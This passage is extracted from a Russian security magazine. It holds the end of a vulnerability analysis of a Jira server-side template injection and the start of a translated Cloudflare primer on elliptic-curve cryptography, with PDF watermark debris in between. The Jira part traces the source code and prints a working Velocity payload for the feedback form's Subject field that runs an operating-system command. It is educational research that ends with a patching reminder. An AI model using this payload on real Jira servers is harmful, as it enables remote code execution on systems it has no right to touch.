с плагином в этой IDE. Здесь в файле pom.xml можно указать используемую версию Jira. На момент написания статьи это была 7.13.0, и она уязвима, так что можешь оставить как есть или поменять на любую другую непропатченную версию.

pom.xml

<properties>

<jira.version>8.1.0</jira.version>

Запускаем Jira в отладочном режиме и сбрасываем флаг atlassian.mail. senddisabled, чтобы разрешить отправку почтовых сообщений.

atlas debug product jira Datlassian.mail.senddisabled=false

После запуска сервера нужно настроить удаленную отладку в IDEA. Для этого переходим в окно редактирования конфигураций и создаем новый сетап типа

Remote.

Настройка удаленной отладки в IntelliJ IDEA

По умолчанию порт для отладки — 5005, а веб интерфейс будет находиться по адресу http://jirarce.vh:2990/jira.

Теперь настраиваем Jira по аналогии с первым вариантом стенда и в качестве сервера SMTP используем все тот же скрипт на Python.

Тестовое окружение готово, и наконец то можно переходить к разбору уязвимости.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК ИСПОЛЬЗОВАТЬ НОВУЮ УЯЗВИМОСТЬ В JIRA

ДЕТАЛИ УЯЗВИМОСТИ

Ссылка на объект нашего тестирования находится под формой авторизации. Нажимаем на кнопку и попадаем в форму обратной связи.

Форма для обратной связи с администратором

Заполняем ее как угодно, но перед отправкой ставим брейк пойнт в отладчи ке на метод setActionProperty класса JiraSafeActionParameterSetter

и нажимаем Send.

WEB-INF/classes/com/atlassian/jira/webwork/

JiraSafeActionParameterSetter.java

038: public class JiraSafeActionParameterSetter {

...

099:

private

void setActionProperty(Method setterMethod, Action

action, String[]

paramValue) {

100:

Assertions.notNull("paramValue", paramValue);

101:

Assertions.notNull("setterMethod", setterMethod);

102:

Assertions.notNull("setterMethod", setterMethod.getPar

ameterTypes());

 

103:

Assertions.stateTrue("setterMethod", setterMethod.getPar

ameterTypes().length == 1);

104:

Class parameterType = setterMethod.getParameterTypes()[0

];

 

 

105:

 

 

106:

try

{

107:

 

Object convertedObj;

108:

 

if (parameterType.equals(String.class)) {

109:

 

convertedObj = paramValue[0];

110:

 

} else if (parameterType.equals(String[].class)) {

111:

 

convertedObj = paramValue;

112:

 

} else {

113:

 

ParameterConverter converter = KnownParameterC

onverters.getConverter(parameterType);

114:

 

Assertions.notNull("converter", converter);

115:

 

convertedObj = converter.convertParameter(paramV

alue, parameterType);

116:

 

}

117:

 

 

118:

 

setterMethod.invoke(action, convertedObj);

Отправленные данные формы попадают в этот метод, и на основе типа передаваемого параметра вызываются соответствующие классы. Нам инте ресно поле Subject.

Обработка переданных данных формы обратной связи. Поле Subject

Как видишь, за него берется метод с говорящим названием setSubject, что в классе ContactAdministrators.

WEB-INF/classes/com/atlassian/jira/web/action/user/

ContactAdministrators.java

31: public class ContactAdministrators extends JiraWebActionSupport {

...

108: public void setSubject(String subject) {

109: this.subject = subject;

110: }

Теперь в переменной subject хранится собственно тема письма.

В переменную subject записывается тема письма

Следующая остановка — ContactAdministrators.doExecute. Здесь вызывается метод send.

WEB-INF/classes/com/atlassian/jira/web/action/user/

ContactAdministrators.java

78:

@RequiresXsrfCheck

79:

protected String doExecute() throws Exception {

80:

if (!this.getShouldDisplayForm()) {

81:

return "modebreach";

82:

} else {

83:

this.send();

84:

return this.getRedirect("/secure/MyJiraHome.jspa");

85:

}

86:

}

Вызов метода send внутри ContactAdministrators.doExecute

Здесь выполняется поиск активных администраторов в системе, чтобы затем каждому было отправлено наше письмо.

WEB-INF/classes/com/atlassian/jira/web/action/user/

ContactAdministrators.java

154:

public void send() throws MailException {

155:

Collection<ApplicationUser> administrators = this.

userUtil.getJiraAdministrators();

156:

Iterator var2 = administrators.iterator();

157:

 

158:

while(var2.hasNext()) {

159:

ApplicationUser administrator = (ApplicationUser)

var2.next();

160:

if (administrator.isActive()) {

161:

this.sendTo(administrator);

162:

}

163:

}

164:

 

165:

}

Метод send ищет активных администраторов в Jira для отправки сооб щения

Для этого управление передается в sendTo.

WEB-INF/classes/com/atlassian/jira/web/action/user/

ContactAdministrators.java

167:

private

void sendTo(ApplicationUser administrator) throws

MailException {

 

168:

try

{

169:

 

Map<String, Object> velocityParams = Maps.newHashMap

();

 

 

170:

 

velocityParams.put("from", this.replyTo);

171:

 

velocityParams.put("content", this.details);

172:

 

velocityParams.put("padSize", PADSIZE);

173:

 

Email email = new Email(administrator.getEma

ilAddress());

 

174:

 

email.setReplyTo(this.replyTo);

175:

 

MailQueueItem item = (new EmailBuilder(email, this.

getMimeType(administrator), I18nBean.getLocaleFromUser(administrator

))).withSubject(this.subject).withBodyFromFile(this.getTemplateDire

ctory(administrator) + "contactadministrator.vm").addParameters(

velocityParams).renderLater();

176: this.mailQueue.addItem(item);

Здесь при помощи EmailBuilder формируется будущее письмо. Затем полученный объект класса MailQueueItem добавляется в очередь сооб щений для отправки.

Добавление сообщения в очередь для отправки администратору на поч ту

Обрати внимание на то, что шаблон для текста письма берется из файла WEB INF/classes/templates/email/html/contactadministrator.vm и явля

ется

экземпляром

TemplateSources$File,

а

тема

TemplateSources$Fragment.

Структура объекта MailQueueItem. Тема является экземпляром

TemplateSources$Fragment

Перед отправкой сообщения его нужно отрендерить. За работу с шаблонами в Jira отвечает движок Velocity. Когда очередь дойдет до нашего письма,

будет вызван метод send класса RenderingMailQueueItem.

WEB-INF/classes/com/atlassian/jira/mail/builder/

RenderingMailQueueItem.java

12: public class RenderingMailQueueItem extends SingleMailQueueItem {

...

24:

public void send() throws MailException {

25:

try {

26:

this.emailRenderer.render();

...

 

31:

super.send();

Объект emailRenderer — это экземпляр класса EmailRenderer. Это его метод render отвечает за одноименный процесс.

Отладка рендеринга шаблона письма

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java

035: class EmailRenderer {

...

123: public Email render() throws MessagingException {

124: this.email.setSubject(this.renderEmailSubject(this.

templateParameters));

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java

68: private String renderEmailSubject(Map<String, Object> contex

tParams) {

69: return this.getTemplatingEngine().render(this.subjec

tTemplate).applying(contextParams).asPlainText();

70: }

Затем инициализируется движок для рендера —

VelocityTemplatingEngine.

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java

72: private VelocityTemplatingEngine getTemplatingEngine() {

73: return (VelocityTemplatingEngine)ComponentAccessor.getCom

ponent(VelocityTemplatingEngine.class);

74: }

Движку передается шаблон темы письма. Метод applying создает экзем пляр класса VelocityContext.

WEB-INF/classes/com/atlassian/jira/template/velocity/

DefaultVelocityTemplatingEngine.java

72: class DefaultRenderRequest implements RenderRequest {

73: private final TemplateSource source;

74: private VelocityContext context = this.createContextFrom(

Collections.emptyMap());

WEB-INF/classes/com/atlassian/jira/template/velocity/

DefaultVelocityTemplatingEngine.java

33: public class DefaultVelocityTemplatingEngine implements Veloci

tyTemplatingEngine {

...

48: public RenderRequest render(TemplateSource source) {

49: return new DefaultVelocityTemplatingEngine.Defaul

tRenderRequest(source);

50: }

В конце конструкции вызывается метод asPlainText.

Вызов метода asPlainText

WEB-INF/classes/com/atlassian/jira/template/velocity/

DefaultVelocityTemplatingEngine.java

91:

public String asPlainText() {

92:

return (new DefaultVelocityTemplatingEngine.Defaul

tRenderRequest.StringRepresentation() {

93:

void with(StringWriter sw) throws IOException {

94:

DefaultRenderRequest.this.asPlainText(sw);

95:

}

96:

}).toString();

97:

}

Внутри выполняется цепочка вызовов toWriterImpl writeEncodedBody ForContent evaluate.

WEB-INF/classes/com/atlassian/jira/template/velocity/

DefaultVelocityTemplatingEngine.java

107: public void asPlainText(Writer writer) throws IOExce

ption {

108: this.toWriterImpl(writer, false);

109: }

WEB-INF/classes/com/atlassian/jira/template/velocity/

DefaultVelocityTemplatingEngine.java

115: private void toWriterImpl(Writer writer, boolean attach

Cartridge) throws IOException {

116: if (this.source instanceof File) {

...

123: } else if (this.source instanceof Fragment) {

124: Fragment fragment = (Fragment)this.source;

...

129: DefaultVelocityTemplatingEngine.this.veloci

tyManager.writeEncodedBodyForContent(writer, fragment.getContent(),

this.context);

WEB-INF/lib/atlassian-velocity-1.3/com/atlassian/velocity/

DefaultVelocityManager.java

76:

public void writeEncodedBodyForContent(Writer writer, String

contentFragment, Context context) throws IOException

77:

{

...

 

84:

try

85:

{

86:

getVe().evaluate(context, writer, "getEncodedBodyF

romContent", contentFragment);

87:

}

88:

catch (Exception e)

89:

{

90:

exceptionHandling(writer, e, "", "");

91:

}

92:

}

Обработка переданной темы письма. Цепочка вызовов toWriterImpl → writeEncodedBodyForContent → evaluate

Последний метод пытается распарсить переданную в качестве темы строку. Она разбивается на ноды, и они интерпретируются как конструкции шаб лонизатора Velocity.

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/ runtime/parser/Parser.java

61: public class Parser implements ParserTreeConstants, Parser

Constants {

...

91: public Parser(RuntimeServices rs) {

...

97: public SimpleNode parse(Reader reader, String templateName)

throws ParseException {

98: SimpleNode sn = null;

99: this.currentTemplateName = templateName;

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/ runtime/RuntimeInstance.java

053: public class RuntimeInstance implements RuntimeConstants, Runtim

eServices {

...

571: public boolean evaluate(Context context, Writer out, String

logTag, String instring) throws IOException {

572: return this.evaluate(context, out, logTag, (Reader)(new

StringReader(instring)));

573: }

574:

575: public boolean evaluate(Context context, Writer writer,

String logTag, Reader reader) throws IOException {

...

589: return nodeTree == null ? false : this.render(

context, writer, logTag, nodeTree);

590: }

Парсинг строки из темы письма

По сути, у нас здесь стандартная инъекция в шаблоны на стороне сервера,

или SSTI (Server Side Template Injection). Так как я отправлял ничего не зна чащую строку, то сервер попытается отправить письмо с этой темой сооб щения.

Коннекты к серверу SMTP от Jira

Для написания полноценного PoC нужен объект, который уже существует в контексте (VelocityContext).

Список существующих переменных в контексте шаблонизатора

Почти во всех замеченных на просторах интернета пейлоадах встречается использование i18n, но можно взять любой объект, например application Properties. Остальная часть PoC — вполне стандартное выполнение про извольной команды через метод exec класса java.lang.Runtime. Будем пытаться открыть калькулятор. Укажем в качестве темы письма такую строку:

$applicationProperties.getClass().forName('java.lang.Runtime')

.getMethod('getRuntime',null).invoke(null,null).exec('calc')

.waitFor()

Перед отправкой формы поставим брейк пойнт на метод evaluate класса

RuntimeInstance.

Используем PoC в качестве темы письма

Немного потрейсим вперед и увидим, что последний вызов приходится на ASTMethod.execute, где, с помощью invoke, начинает отрабатывать наш пейлоад.

ASTMethod.execute передает управление полезной нагрузке

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/ runtime/parser/node/ASTMethod.java

020: public class ASTMethod extends SimpleNode {

...

047:

public

Object execute(Object o, InternalContextAdapter

context) throws

MethodInvocationException {

...

 

 

103:

try {

104:

 

Object obj = method.invoke(o, params);

Стек вызова от начала рендеринга сообщения до успешной эксплуата ции

Далее наблюдаем окошко калькулятора. :)

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ

Рассмотренная уязвимость часто встречается в приложениях, написанных на Java. Теперь ты знаешь, на какой вектор стоит обратить особое внимание при аудите окружения Java.

Даниил Дмитриев не так давно находил похожую уязвимость в работе сис темы виджетов в Confluence. Там можно было внедрять целые файлы шаб лоны. Этот баг, как и рассмотренный сегодня, был быстро пофикшен в новой версии продукта. Так что не тяни с обновлениями!

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Ник Салливан

КРАТКИЙ ПУТЕВОДИТЕЛЬ ПО ЭЛЛИПТИЧЕСКИМ КРИВЫМ

Эллиптическая криптография (Elliptic Curve Cryptography, ECC) — штука популярная, мощная и при этом не очень понятная. Мы в Cloudflare используем ее везде: от защиты HTTPS соединений наших клиентов до передачи данных между серверами. В этой статье я попытаюсь на простых примерах показать, как все это работает.

Это перевод статьи Ника Салливана, впервые опубликованной в блоге компании Cloudflare. Перевела Алёна Георгиева.

Вообще мы убеждены: чтобы доверять той или иной системе безопасности, нужно понимать технологию, которая за ней стоит. Так что мы решили найти хорошее, относительно доступное руководство по ECC — и поделиться им с читателями. Найти не удалось, и мы написали его сами — оно перед вами.

Предупреждаю: тема сложная, в двух словах о ней не расскажешь. Здесь есть что обсудить, так что устраивайся поудобней. Но если нужны те самые два слова, то вот они: ECC — это новое поколение криптосистем с открытым ключом, которые построены на понятных математических основаниях и обес печивают куда более серьезную защиту, чем криптосистемы первого поколе ния вроде RSA. Хочешь обеспечить высокий уровень защиты и сохранить при этом производительность — имеет смысл обратиться к ECC. А если инте ресуют детали — они ниже.

КРИПТОГРАФИЯ С ОТКРЫТЫМ КЛЮЧОМ: КАК ВСЕ НАЧИНАЛОСЬ

Историю криптографии можно разделить на два периода: классический и современный. Водоразделом здесь служит 1977 год, когда одновременно были представлены алгоритм RSA и протокол Диффи — Хеллмана. Случилась настоящая революция: это были первые криптографические системы, где безопасность строилась на теории чисел. Стала возможной безопасная ком муникация без известного обеим сторонам — то есть симметричного — шифра. До этого криптография бесконечно занималась вопросом, как безопасно переслать секретные шифры. Теперь же она могла обеспечить доказательно безопасную коммуникацию между двумя сторонами — без заботы о том, не перехватит ли кто обмен ключами.

Уитфилд Диффи и Мартин Хеллман

Современная криптография стоит на том, что ключ для шифрования данных может быть открытым, а вот ключ для дешифровки лучше оставить в секрете. Такие системы называют криптографическими системами с открытым ключом

(public key cryptographic systems). Первая — и все еще самая распространен ная из них — RSA. Она названа инициалами тех, кто впервые описал ее алго ритм (Ron Rivest, Adi Shamir, Leonard Adleman).

Хорошей криптографической системе с открытым ключом нужен набор алгоритмов, которые легко пройти в одном направлении и трудно в обратном. В случае с RSA «легкий» алгоритм умножает два простых числа. Его «трудной» парой будет факторизация — разложение получившегося результата на изна чальные множители. Алгоритмы с такой характеристикой — «просто в одну сторону, трудно в обратную» — называют односторонней функцией с потай ным входом (trapdoor function, TDF). Найти хорошую TDF критично важно для создания безопасной криптографической системы с открытым ключом.

Проще говоря, чем больше разрыв между сложностью прохождения фун кции в одном направлении и в другом, тем надежней получится криптогра фическая система, на ней основанная.

АЛГОРИТМ RSA В МИНИАТЮРЕ

RSA — самая популярная и наиболее понятная из систем с открытым ключом. Ее безопасность опирается на то, что умножение — это быстро, а раз ложение на множители — медленно. Коротко рассмотрим, как выглядит и работает маленькая RSA система.

Системы с открытым ключом обычно имеют два компонента: открытый ключ и секретный ключ. Шифрование работает так: берешь сообщение, при меняешь к нему математическую операцию — и получаешь число, которое выглядит случайным. При дешифровке берешь это «случайное» число и при меняешь другую операцию, чтобы получить исходное сообщение. Зашиф рованное с помощью открытого ключа можно расшифровать, только при менив секретный ключ.

Компьютеры не очень хорошо справляются с произвольно большими чис лами. Эту проблему можно решить, если выбрать максимальное значение и иметь дело только с числами, которые меньше максимума. Работает это как в часах с циферблатом и стрелками. Как перевести их, например, на 37 часов? Очевидно, разделить 37 на максимум — то есть 12 — и док рутить остаток. Так и здесь: любые вычисления, дающие результат больше максимума, мы «докручиваем» до числа в допустимом диапазоне.

В RSA максимальное значение (обозначим его max) получают умножением двух случайных простых чисел. Открытый и секретный ключи — это два спе циально выбранных числа больше нуля, но меньше максимального значения, обозначим их pub и priv. Чтобы зашифровать число, мы перемножаем его pub раз — и всякий раз «докручиваем», когда превышаем максимум. Чтобы расшифровать сообщение, перемножаем его priv раз по тому же правилу — и получаем исходное число. Звучит удивительно, но правда работает. Когда обнаружили эту особенность, она стала большим прорывом.

Чтобы создать пару ключей для RSA, сначала берешь два простых числа, чтобы получить максимум (max). Затем выбираешь число для открытого ключа (pub). До тех пор пока ты знаешь два изначальных простых числа, ты можешь вычислить секретный ключ priv через открытый. Это то, как факторизация

соотносится

со взломом RSA: разложение

максимального значения

на исходные

множители позволяет вычислить

чей то секретный ключ

по открытому и дешифровать личные сообщения.

 

Рассмотрим все это на конкретном примере. Возьмем простые чис ла 13 и 7, перемножим и получим максимальное значение 91. В качестве открытого ключа возьмем число 5. А затем, зная изначальные множители и максимум, применим расширенный алгоритм Евклида и получим секретный ключ — 29.

Эти параметры (max = 91, pub = 5, priv = 29) определяют полностью функциональную RSA систему. Мы можем взять число и перемножить его пять раз для зашифровки, а затем взять получившийся результат, перем ножить его 29 раз и получить изначальное число.

Используем эти значения, чтобы зашифровать слово CLOUD.

Чтобы представить сообщение математически, нужно превратить буквы в числа. Для представления латинского алфавита отлично подходит кодиров ка UTF 8. Каждому символу соответствует свой номер.

Латинский алфавит в кодировке UTF 8

В этой кодировке CLOUD выглядит как 67, 76, 79, 85, 68. Все эти числа мень ше нашего максимума, поэтому мы можем зашифровать их по отдельности.

67 × 67 = 4489 = 30

Откуда 30? Поскольку получившееся чис ло 4489 больше максимума, мы «докручиваем» его до нужного нам диапазона (от 0 до 91). Для этого делим 4489 на 91 до целого числа и берем остаток. Этим остатком и будет 30.

4489 = 91 × 49 + 30

30 × 67 = 2010 = 8

8 × 67 = 536 = 81

81 × 67 = 5427 = 58

58 и будет зашифрованной версией 67.

Повторив этот процесс для каждой из букв, мы получим зашифрованное сообщение CLOUD в виде

58, 20, 53, 50, 87

Чтобы расшифровать это запутанное сообщение, берем каждое из получив шихся чисел — и точно так же перемножаем 29 раз.

58 × 58 = 3364 = 88 (помни, что мы «докручиваем» число, если оно

превышает максимум)

88 × 58 = 5104 = 8

9 × 58 = 522 = 67

Вуаля, мы вернулись к 67. Провернув то же самое с остальными числами, мы получим исходное сообщение.

Вывод: ты можешь взять число, перемножить его сколько то (pub) раз и получить случайно выглядящий результат, а потом перемножить его другое количество (priv) раз и вернуться к изначальному числу.

НЕ ТАКОЙ УЖ ТАЙНЫЙ ХОД

RSA и протокол Диффи — Хеллмана были столь мощны, потому что имели строгие обоснования безопасности. Их авторы доказали, что взлом системы равен решению математической проблемы, которую, как считается, сложно решить. Факторизация — хорошо известная проблема, ее изучают с античности (см. решето Эратосфена). Любые прорывы в этой области ста ли бы громкой новостью и озолотили изобретателя.

«Найди множители — получи деньги» — тот самый T.K.G. (Reuters)

Тем не менее факторизация не такая уж большая проблема, если решать ее шаг за шагом. Для разложения на простые множители есть специальные алгоритмы — например, квадратичное решето или общий метод решета чис лового поля, — и они умеренно успешны. Во всяком случае, точно быстрее и экономичней, чем наивный подход с угадыванием пар простых чисел.

Эффективность этих алгоритмов растет, поскольку размер чисел, которые нужно раскладывать на множители, все время увеличивается. А вот разрыв между сложностью факторизации и умножения уменьшается — и тоже из за роста чисел (например, длины ключей). Ресурсы, доступные для дешифровки, растут — и вместе с ними растет длина ключей, причем куда быстрее. Это не очень хорошо для мобильных и других маломощных девайсов, чьи вычис лительные ресурсы ограничены. Разрыв между разложением и умножением не очень устойчив в долгосрочной перспективе.

Все это значит, что RSA далеко не идеальная система для криптографии будущего. В идеальной TDF операции «туда» и «обратно» усложняются в оди наковом темпе — пропорционально растущему размеру чисел. Нам нужен потайной ход понадежней.

ЭЛЛИПТИЧЕСКИЕ КРИВЫЕ: ГДЕ НАЙТИ НАДЕЖНЫЙ ПОТАЙНОЙ ХОД?

С появлением RSA и протокола Диффи — Хеллмана начался активный поиск других математически обоснованных решений для криптографии, которые могли бы послужить хорошей TDF. И вот в 1985 году были предложены алго ритмы, основанные на таинственном математическом направлении — эллиптических кривых.

Но что же такое эллиптическая кривая — и как работает основанная на ней TDF? К сожалению, в отличие от факторизации — штуки, с которой мы неиз бежно сталкиваемся в школе, — эллиптические кривые большинству людей не близки. Понять и объяснить их не так то просто — впрочем, я все равно попытаюсь. (Если глаза уже начали стекленеть, можешь скипнуть до раздела «Что все это значит?».)

Эллиптическая кривая — это множество точек, удовлетворяющих конкрет ному математическому уравнению. Выглядит оно так:

y² = x³ + ax + b

Его график отдаленно напоминает упавшую набок греческую букву Ω (омега).

Есть и другие представления эллиптических кривых, но технически это мно жество точек, удовлетворяющих уравнению с двумя переменными: одна из них в квадрате, а другая — в кубе. Однако эллиптическая кривая — это не просто симпатичная картинка: у нее есть ряд особенностей, которые делают ее хорошей основой для криптографии.

СТРАННАЯ СИММЕТРИЯ

Еще раз взглянем на нашу эллиптическую кривую — и найдем те самые осо бенности.

Одна из них — горизонтальная симметрия. Каждую точку на кривой можно зеркально отразить по оси x — и окажешься на все той же кривой. Еще инте ресней то, что любая не строго вертикальная прямая пересекает эллиптичес кую кривую не более чем в трех местах.

Представим, что это такой странный бильярд. Если соединить две точки на кривой, проходящая через них прямая пересечет ее еще ровно в одном месте. Поставим воображаемый бильярдный шарик в точку A и толкнем его в сторону точки B. Достигнув третьей, последней точки на кривой, шар отско чит либо прямо вверх (если он находится ниже оси x), либо прямо вниз (если он выше оси x) — на другую сторону кривой.

Мы можем соединить любые две точки на кривой и получить новую — нап ример, соединив A и B, мы получили С.

А еще мы можем связывать эти «ходы», чтобы раз за разом соединять изначальную точку с получившимся результатом. Так, соединив точку A с самой собой, мы получим точку B; из исходной точки A и получившейся B выйдет C; А и С, в свою очередь, дадут D — и так далее.

Что то знакомое, да? В RSA мы точно так же сколько то раз умножали исходное число само на себя — а точнее, на то, что получалось при «докручивании» результата умножения. Все эти точки B, C, D и так далее — точно такие же промежуточные результаты, только полученные не арифметически, а геометрически.

Оказывается, если мы имеем две точки — изначальную, «помноженную» на себя n раз, и конечную — выяснить, чему равно n, довольно сложно. Чтобы развить метафору со странным бильярдом, представь себе человека, который сколько то времени играет в такой бильярд — сам с самой и в зак рытой комнате. Ему будет довольно просто толкать шарик снова и снова по описанным выше правилам. Но если кто нибудь войдет в эту комнату и увидит, где остановился шарик, то, даже зная правила игры и изначальную точку, определить количество ударов о бортики он все равно не сможет — пока не повторит все ходы от стартовой точки до финальной. «Легко туда, трудно обратно» — это, как помнишь, основа для хорошей TDF.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

КРАТКИЙ ПУТЕВОДИТЕЛЬ ПО ЭЛЛИПТИЧЕСКИМ КРИВЫМ

ВСЕ СТРАНЬШЕ И СТРАНЬШЕ

Упрощенная кривая из предыдущего раздела прекрасно выглядит и объясня ет общую концепцию эллиптических кривых, но не показывает, как выглядят эллиптические кривые в криптографии.

Здесь, как и в RSA, нам приходится ограничивать себя числами в фик сированном диапазоне. Более того, нас в этом диапазоне интересуют целые числа — а кривая состоит не только из них. При решении уравнения эллипти ческой кривой (y² = x³ + ax + b) мы используем тот же самый трюк с «док ручиванием» чисел, превышающих максимум. Если за максимум взять прос тое число, такая эллиптическая кривая называется простой — и обладает превосходными криптографическими свойствами.

Вот пример кривой (y² = x³ − x + 1), построенной для всех значений.

А вот та же кривая, но построенная только для целых значений с мак симумом 97.

Совсем не похоже на кривую в традиционном понимании — но это она. Выг лядит так, как будто ставшую вдруг невидимой кривую прикололи кнопками в точках, где она выдает целые значения. И заметь, горизонтальная сим метрия сохранилась.

На самом деле мы все еще можем играть на этой кривой в бильярд и соединять точки. И любая прямая по прежнему может собрать на себе не более трех точек. Вычислить эти точки довольно легко. Представь себе, что линия, соединяющая две точки, — это нитка, которая обматывается вок руг кривой, пока не попадет на третью. Это как если бы в нашем странном бильярде шар, ударившись о бортик (максимум), волшебным образом перемещался на противоположную сторону стола и продолжал свое дви жение до тех пор, пока не ударится о точку, — как в игре «Астероиды».

С помощью такого представления кривой уже реально зашифровывать сооб щения. Можно представить исходное число сообщения как x, получить из уравнения y — и, соответственно, точку на кривой. На практике все чуть сложнее, но общая идея такова.

Для слова FLARE получим точки с координатами (70,6), (76,48), , (82,6), (69,22).

(На этой кривой нет точки при x = 65, но в реальном мире есть способы обойти эту проблему.)

Эллиптическую криптосистему определяют: взятое за максимум простое число, уравнение кривой и открытая (стартовая) точка на кривой. Секретным ключом будет число priv, а открытым ключом — стартовая точка, соединен ная сама с собой priv раз. Вычисление секретного ключа по открытому в такой криптосистеме называется функцией дискретного логарифма эллиптической кривой. Кажется, это и есть та TDF, которую мы искали.

ЧТО ВСЕ ЭТО ЗНАЧИТ?

Вычислить дискретный логарифм эллиптической кривой трудно — на чем и строится эллиптическая криптография. Спустя несколько десятилетий математики так и не нашли алгоритм, который решал бы эту проблему лучше простого перебора. Другими словами, в отличие от факторизации с ее понят ными математическими основаниями, у этой проблемы, кажется, нет корот кого решения, которое сократило бы разрыв в TDF. При работе с числами одной величины решить дискретный логарифм эллиптической кривой гораз до труднее, чем разложить число на множители. А значит, эллиптические криптосистемы крепче RSA и протокола Диффи — Хеллмана.

Чтобы иллюстрировать, насколько крепче, Арьен Ленстра несколько лет назад представил концепцию «Универсальной безопасности» (PDF). Суть в том, чтобы вычислить, сколько энергии тратится на взлом криптографичес кого алгоритма, и сравнить с тем, сколько воды можно вскипятить той же энергией. Эдакий криптографический углеродный след. По его расчетам, на взлом 228 битного RSA ключа требуется меньше энергии, чем на кипяче ние одной чайной ложки воды. Для сравнения: энергией, потраченной на взлом 228 битного ECC ключа, можно вскипятить всю воду на планете. Чтобы добиться того же уровня безопасности c RSA, нужен ключ в 2380 бит.

С эллиптической криптографией можно использовать ключи меньшей дли ны — и получать тот же уровень безопасности. А маленькие ключи важны, особенно в мире, где все больше криптографии на маломощных девайсах типа телефонов. Перемножить два простых числа проще, чем разложить результат на множители — но, когда простые числа становятся слишком длинными, даже умножение может занять на маломощных устройствах какое то время. В принципе, можно поддерживать безопасность RSA, уве личивая длину ключей, — но производительность на клиенте от этого снизит ся. ECC, кажется, предлагает альтернативу получше — высокую безопас ность и короткие быстрые ключи.

ЭЛЛИПТИЧЕСКИЕ КРИВЫЕ В ДЕЙСТВИИ

